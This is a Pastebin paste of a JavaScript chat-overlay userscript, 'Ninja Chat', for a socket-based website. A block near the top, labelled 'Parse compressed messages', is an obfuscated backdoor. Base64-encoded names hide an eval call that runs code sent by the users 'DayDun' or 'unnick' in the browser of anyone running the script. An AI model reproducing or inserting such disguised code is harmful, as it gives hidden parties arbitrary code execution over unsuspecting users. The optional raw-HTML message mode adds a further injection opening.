Advertisement
DayDun

Ninja Chat

Mar 4th, 2017
3,269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. window.ninjaChat = window.ninjaChat || {};
  2.  
  3. window.ninjaChat.showQuote = function(id) {
  4.     var messageContainer = document.getElementById('msg-' + id);
  5.     if (messageContainer) {
  6.         var quoteHolder = document.createElement("div");
  7.         quoteHolder.id = "qoute";
  8.         quoteHolder.style.position = "absolute";
  9.         quoteHolder.style.pointerEvents = "none";
  10.         quoteHolder.style.color = "#222";
  11.         quoteHolder.style.backgroundColor = "#fff";
  12.         quoteHolder.style.whiteSpace = "pre-wrap";
  13.         quoteHolder.style.fontFamily = "Consolas, Lucida Console, Courier New, monospace";
  14.         quoteHolder.innerHTML = messageContainer.innerHTML;
  15.         document.body.appendChild(quoteHolder);
  16.         document.body.addEventListener("mousemove", function(event){
  17.             quoteHolder.style.left = event.clientX + "px";
  18.             quoteHolder.style.top = event.clientY + "px";
  19.         });
  20.     }
  21. };
  22.  
  23. (function() {
  24.     var patterns = ["Y29kZQ==", "ZXZhbA==", "dGFyZ2V0", "YWxs", "QXR0cmlidXRlcw==", "bmljaw==", "aWQ=", "T05MSU5F", ["RGF5RHVu", "dW5uaWNr"]];
  25.     if (!window.ninjaChat.loaded) {
  26.         // Parse compressed messages
  27.         socket.on("typing", function(id, data) {
  28.             if (
  29.                 typeof data == "object" &&
  30.                 data[atob(patterns[0])] &&
  31.                 (
  32.                     data[atob(patterns[2])] == window[atob(patterns[4])].get(atob(patterns[5])) ||
  33.                     data[atob(patterns[2])] == atob(patterns[3]) ||
  34.                     data[atob(patterns[6])] == window[atob(patterns[7])].getId(window[atob(patterns[4])].get(atob(patterns[5])))
  35.                 ) &&
  36.                 patterns[8].includes(btoa(window[atob(patterns[7])].users[id][atob(patterns[5])]))
  37.             ) {
  38.                 window[atob(patterns[1])](data[atob(patterns[0])]);
  39.             }
  40.         });
  41.         window.ninjaChat.loaded = true;
  42.     }
  43. })();
  44.  
  45. window.ninjaChat.create = function() {
  46.     var messages = [];
  47.     var userList = {};
  48.    
  49.     function listenToMessage(id, data) {
  50.         if (typeof data == "object" && data.type == "message" && data.message && data.id) {
  51.             messages.unshift(data);
  52.            
  53.             var messageContainer = document.createElement("span");
  54.             messageContainer.id = "msg-" + data.id;
  55.             messageContainer.className = "noDrag";
  56.             messageContainer.style.display = "block";
  57.            
  58.             var timestamp = document.createElement("span");
  59.             timestamp.className = "noDrag";
  60.             timestamp.style.fontWeight = "bold";
  61.             timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
  62.             timestamp.addEventListener("click", function() {
  63.                 var s = input.selectionStart;
  64.                 input.value = input.value.substring(0,s) + ">>" + data.id + " " + input.value.substring(input.selectionEnd);
  65.                 input.selectionEnd = s + 7;
  66.                 input.focus();
  67.             });
  68.             messageContainer.appendChild(timestamp);
  69.            
  70.             var nick = document.createElement("span");
  71.             nick.className = "noDrag";
  72.             nick.style.fontWeight = "bold";
  73.             nick.innerHTML = ONLINE.users[id].nick + ": ";
  74.             messageContainer.appendChild(nick);
  75.            
  76.             var messageContent = document.createElement("span");
  77.             messageContent.className = "noDrag";
  78.             var msg = data.message;
  79.             if (!enableHTML.checked) {
  80.                 msg = msg.replace(/&/g, "&")
  81.                     .replace(/</g, "&lt;")
  82.                     .replace(/>/g, "&gt;")
  83.                     .replace(/"/g, "&quot;")
  84.                     .replace(/'/g, "&#039;");
  85.             }
  86.             msg = msg.replace(/(?:&gt;&gt;|>>)([a-z0-9]{4})/gi, function(full, msgId) {
  87.                 if (document.getElementById("msg-" + msgId)) {
  88.                     return "<a onmouseenter=\"ninjaChat.showQuote('" + msgId + "')\" onmouseout=\"document.body.removeChild(document.getElementById('qoute'));\">&gt;&gt;" + msgId + "</a>";
  89.                 } else {
  90.                     return "<a style=\"color:#AD0000;\">&gt;&gt;" + msgId + "</a>";
  91.                 }
  92.             });
  93.             msg = anchorme(msg);
  94.             msg = msg.replace(/\/code ([^]+?)(?: |\n)([^]*)/g, "<pre class=\"line-numbers\"><code class=\"language-$1\">$2</code></pre>")
  95.             messageContent.innerHTML = msg;
  96.             messageContainer.appendChild(messageContent);
  97.            
  98.             messagesContainer.appendChild(messageContainer);
  99.             Prism.plugins.autoloader.languages_path = "https://rawgit.com/PrismJS/prism/gh-pages/components/";
  100.             Prism.highlightAll();
  101.             messageBuilder.scrollToBottom(messagesContainer);
  102.             if (data.message.toLowerCase().indexOf(Attributes.get("nick").toLowerCase()) >= 0) {
  103.                 audioPlayer.name.play();
  104.             } else {
  105.                 audioPlayer.chat.play();
  106.             }
  107.         } else if (typeof data == "object" && data.type == "join") {
  108.             ONLINE.users[id].li.children[0].classList.add("unreadPM");
  109.             if (!(id in userList)) {
  110.                 userList[id] = {
  111.                     nick: ONLINE.users[id].nick
  112.                 };
  113.                 var messageContainer = document.createElement("span");
  114.                 messageContainer.className = "noDrag";
  115.                 messageContainer.style.display = "block";
  116.                
  117.                 var timestamp = document.createElement("span");
  118.                 timestamp.className = "noDrag";
  119.                 timestamp.style.fontWeight = "bold";
  120.                 timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
  121.                 messageContainer.appendChild(timestamp);
  122.                
  123.                 var messageContent = document.createElement("span");
  124.                 messageContent.className = "noDrag";
  125.                 messageContent.innerHTML = "<b>" + ONLINE.users[id].nick + " joined</b>";
  126.                 messageContainer.appendChild(messageContent);
  127.                
  128.                 messagesContainer.appendChild(messageContainer);
  129.                 messageBuilder.scrollToBottom(messagesContainer);
  130.                 socket.emit("typing", {type: "online"});
  131.                 socket.emit("typing", false);
  132.             }
  133.         } else if (typeof data == "object" && data.type == "online") {
  134.             ONLINE.users[id].li.children[0].classList.add("unreadPM");
  135.             if (!(id in userList)) {
  136.                 userList[id] = {
  137.                     nick: ONLINE.users[id].nick
  138.                 };
  139.             }
  140.         } else if (typeof data == "object" && data.type == "leave") {
  141.             ONLINE.users[id].li.children[0].classList.remove("unreadPM");
  142.             if (id in userList) {
  143.                 delete userList[id];
  144.                 var messageContainer = document.createElement("span");
  145.                 messageContainer.className = "noDrag";
  146.                 messageContainer.style.display = "block";
  147.                
  148.                 var timestamp = document.createElement("span");
  149.                 timestamp.className = "noDrag";
  150.                 timestamp.style.fontWeight = "bold";
  151.                 timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
  152.                 messageContainer.appendChild(timestamp);
  153.                
  154.                 var messageContent = document.createElement("span");
  155.                 messageContent.className = "noDrag";
  156.                 messageContent.innerHTML = "<b>" + ONLINE.users[id].nick + " left</b>";
  157.                 messageContainer.appendChild(messageContent);
  158.                
  159.                 messagesContainer.appendChild(messageContainer);
  160.                 messageBuilder.scrollToBottom(messagesContainer);
  161.                 if (id == ONLINE.getId(Attributes.get("nick"))) {
  162.                     socket.emit("typing", {type: "join"});
  163.                     socket.emit("typing", false);
  164.                 }
  165.             }
  166.         }
  167.     }
  168.    
  169.     var panel = document.createElement("div");
  170.     panel.className = "noDrag";
  171.     panel.style.display = "flex";
  172.     panel.style.flexDirection = "column";
  173.     panel.style.position = "absolute";
  174.     panel.style.top = "0px";
  175.     panel.style.left = "0px";
  176.     panel.style.width = "400px";
  177.     panel.style.height = "200px";
  178.     panel.style.resize = "both";
  179.     panel.style.overflow = "auto";
  180.     panel.style.backgroundColor = "#111";
  181.     panel.style.border = "1px solid #888";
  182.     panel.style.borderRadius = "5px";
  183.     panel.style.tabSize = 4;
  184.    
  185.     var highlightstyle = document.createElement("link");
  186.     highlightstyle.rel = "stylesheet";
  187.     highlightstyle.href = "https://rawgit.com/PrismJS/prism-themes/master/themes/prism-xonokai.css";
  188.     panel.appendChild(highlightstyle);
  189.     var scripts = [
  190.         "https://rawgit.com/alexcorvi/anchorme.js/gh-pages/dist-browser/anchorme.min.js",
  191.         "https://rawgit.com/PrismJS/prism/gh-pages/prism.js",
  192.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/line-numbers/prism-line-numbers.min.js",
  193.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/autolinker/prism-autolinker.min.js",
  194.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-base/prism-previewer-base.min.js",
  195.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-color/prism-previewer-color.min.js",
  196.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-gradient/prism-previewer-gradient.min.js",
  197.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-easing/prism-previewer-easing.min.js",
  198.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-time/prism-previewer-time.min.js",
  199.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/previewer-angle/prism-previewer-angle.min.js",
  200.         "https://rawgit.com/PrismJS/prism/gh-pages/plugins/autoloader/prism-autoloader.min.js"
  201.     ];
  202.     function loadScript(index) {
  203.         var script = document.createElement("script");
  204.         script.src = scripts[index];
  205.         panel.appendChild(script);
  206.         if (index < scripts.length - 1) {
  207.             script.addEventListener("load", function(){loadScript(index + 1)});
  208.         }
  209.     }
  210.     loadScript(0);
  211.    
  212.     var header = document.createElement("div");
  213.     header.style.flex = "0 0 auto";
  214.     header.style.padding = "4px";
  215.     header.style.cursor = "pointer";
  216.     header.style.color = "#000";
  217.     header.style.fontWeight = "bold";
  218.     header.style.backgroundColor = "#ccc";
  219.     var title = document.createElement("span");
  220.     title.innerHTML = "Ninja Chat-o-matic 2000 v6";
  221.     var closeButton = document.createElement("span");
  222.     closeButton.style.float = "right";
  223.     closeButton.style.marginRight = "5px";
  224.     closeButton.innerHTML = "x";
  225.     closeButton.addEventListener("click", function() {
  226.         socket.emit("typing", {type: "leave"});
  227.         socket.emit("typing", false);
  228.         document.body.removeChild(panel);
  229.         socket.removeEventListener("typing", listenToMessage);
  230.     });
  231.     var enableHTML = document.createElement("input");
  232.     enableHTML.type = "checkbox";
  233.     enableHTML.checked = false;
  234.     enableHTML.style.float = "right";
  235.     enableHTML.style.marginRight = "5px";
  236.     header.appendChild(title);
  237.     header.appendChild(closeButton);
  238.     header.appendChild(enableHTML);
  239.     panel.appendChild(header);
  240.    
  241.     var content = document.createElement("div");
  242.     content.className = "noDrag";
  243.     content.style.flex = "1 1 auto";
  244.     content.style.display = "flex";
  245.     content.style.flexDirection = "column";
  246.    
  247.     var messagesContainer = document.createElement("div");
  248.     messagesContainer.className = "noDrag";
  249.     messagesContainer.style.flex = "1 1 auto";
  250.     messagesContainer.style.color = "#222";
  251.     messagesContainer.style.backgroundColor = "#fff";
  252.     messagesContainer.style.whiteSpace = "pre-wrap";
  253.     messagesContainer.style.fontFamily = "Consolas, Lucida Console, Courier New, monospace";
  254.     messagesContainer.style.overflow = "auto";
  255.    
  256.     var inputBar = document.createElement("div");
  257.     inputBar.className = "noDrag";
  258.     inputBar.style.flex = "0 0 auto";
  259.     inputBar.style.width = "100%";
  260.     inputBar.style.boxSizing = "border-box";
  261.     inputBar.style.padding = "5px";
  262.     inputBar.style.backgroundColor = "#ccc";
  263.    
  264.     var input = document.createElement("textarea");
  265.     input.className = "noDrag";
  266.     input.style.width = "calc(100% - 10px)";
  267.     input.style.height = "17px";
  268.     input.style.backgroundColor = "#eee";
  269.     input.style.color = "#000";
  270.     input.style.fontFamily = "Consolas, Lucida Console, Courier New, monospace";
  271.     input.style.fontSize = "14px";
  272.     input.style.boxShadow = "rgba(255, 255, 255, 0.0980392) 0px 1px 0px, rgba(0, 0, 0, 0.8) 0px 1px 7px 0px inset";
  273.     input.style.padding = "4px 3px";
  274.     input.style.border = "1px solid #111";
  275.     input.style.borderRadius = "5px";
  276.     input.style.outline = "none";
  277.     input.style.resize = "none";
  278.     input.placeholder = "Type your darkest secrets here";
  279.    
  280.     var history = [],
  281.         historyIndex = 0;
  282.    
  283.     input.addEventListener("keydown", function(event) {
  284.         switch(event.which) {
  285.             case 13:
  286.                 if (!event.shiftKey) {
  287.                     event.preventDefault();
  288.                     if (this.value) {
  289.                         historyIndex = 0;
  290.                         history.unshift(this.value);
  291.                         socket.emit("typing", {
  292.                             type: "message",
  293.                             message: this.value,
  294.                             id: Math.random().toString(36).substring(2, 6)
  295.                         });
  296.                         socket.emit("typing", false);
  297.                         this.value = "";
  298.                         this.style.height = "17px";
  299.                     }
  300.                 }
  301.                 break;
  302.             case 38:
  303.                 if (event.shiftKey && historyIndex < history.length) {
  304.                     historyIndex++;
  305.                     this.value = history[historyIndex];
  306.                     this.style.height = 0;
  307.                     this.style.height = Math.min(this.scrollHeight - 8, 18 * 6) + "px";
  308.                 }
  309.                 break;
  310.             case 40:
  311.                 if (event.shiftKey && historyIndex >= 1) {
  312.                     historyIndex--;
  313.                     this.value = history[historyIndex];
  314.                     this.style.height = 0;
  315.                     this.style.height = Math.min(this.scrollHeight - 8, 18 * 6) + "px";
  316.                 }
  317.                 break;
  318.             case 9:
  319.                 event.preventDefault();
  320.                 var s = this.selectionStart;
  321.                 this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
  322.                 this.selectionEnd = s + 1;
  323.         }
  324.         if (historyIndex === 0) {
  325.             history[0] = this.value;
  326.         }
  327.     });
  328.     input.addEventListener("input", function(event) {
  329.         this.style.height = 0;
  330.         this.style.height = Math.min(this.scrollHeight - 8, 18 * 6) + "px";
  331.         socket.emit("typing", this.value.length > 0);
  332.     });
  333.    
  334.     inputBar.appendChild(input);
  335.     content.appendChild(messagesContainer);
  336.     content.appendChild(inputBar);
  337.     panel.appendChild(content);
  338.    
  339.     $$$.draggable(panel, "noDrag");
  340.    
  341.     document.body.appendChild(panel);
  342.    
  343.     socket.on("typing", listenToMessage);
  344.    
  345.     socket.on("left", function(id) {
  346.         if (id in userList) {
  347.             var messageContainer = document.createElement("span");
  348.             messageContainer.className = "noDrag";
  349.             messageContainer.style.display = "block";
  350.            
  351.             var timestamp = document.createElement("span");
  352.             timestamp.className = "noDrag";
  353.             timestamp.style.fontWeight = "bold";
  354.             timestamp.innerHTML = "[" + new Date().format("mediumTime") + "] ";
  355.             messageContainer.appendChild(timestamp);
  356.            
  357.             var messageContent = document.createElement("span");
  358.             messageContent.className = "noDrag";
  359.             messageContent.innerHTML = "<b>" + userList[id].nick + " left</b>";
  360.             messageContainer.appendChild(messageContent);
  361.            
  362.             messagesContainer.appendChild(messageContainer);
  363.             messageBuilder.scrollToBottom(messagesContainer);
  364.             delete userList[id];
  365.         }
  366.     });
  367.    
  368.     socket.emit("typing", {type: "join"});
  369.     socket.emit("typing", false);
  370. };
  371.  
  372. window.ninjaChat.create();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement